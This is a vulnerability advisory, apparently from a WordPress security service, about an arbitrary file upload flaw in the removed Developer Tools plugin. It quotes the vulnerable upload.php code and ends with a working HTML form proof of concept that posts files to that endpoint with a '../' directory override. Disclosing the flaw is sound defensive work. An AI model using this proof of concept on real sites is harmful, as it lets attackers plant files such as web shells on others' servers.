26 Jan 2017

Vulnerability Details: Arbitrary File Upload Vulnerability in Developer Tools

One of the things we do to make sure our customers have the best data on vulnerabilities in WordPress plugins is to monitor third party data on hacking attempts. Through that we recently came across a request for a file, /wp-content/plugins/developer-tools/js/developer-tools.js, from the plugin Developer Tools. That plugin is no longer in the WordPress Plugin Directory, which could have been due to it being removed for a security issue.

Seeing as the type of vulnerability that is probably the most likely to be exploited is an arbitrary file upload vulnerability and seeing as other plugins that were also targeted in the same set of requests as this one have that type of vulnerability, we started looking over the plugin for that type of vulnerability and we immediately found one.

In the file /libs/swfupload/upload.php there is code that runs if several conditions are met, which will cause a file that is sent with a request to it to be saved to the filesystem:

136
137
138
139
140
141
142
if ( $upload_email_reporting == true AND $upload_directory_writable == true ) {
	if ( move_uploaded_file( $_FILES['Filedata']['tmp_name'] , $uploadfile ) ) {
	 //send_mail("SWFUpload File Saved: ".$_FILES["Filedata"]["name"],'Save Path: '.$uploadfile."\n\n".'$_FILES data: '."\n".print_r($_FILES,true)); 
	}else{
	 send_mail("SWFUpload File Not Saved: ".$_FILES["Filedata"]["name"],'Save Path: '.$uploadfile."\n\n".'$_FILES data: '."\n".print_r($_FILES,true)); 
	}
}

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/plugins/developer-tools/libs/.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/developer-tools/libs/swfupload/upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="UPLOADDIR" value="../" />
<input type="hidden" name="ADMINEMAIL" value="test@example.com" />
<input type="file" name="Filedata" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Leave a Reply

Your email address will not be published. Required fields are marked *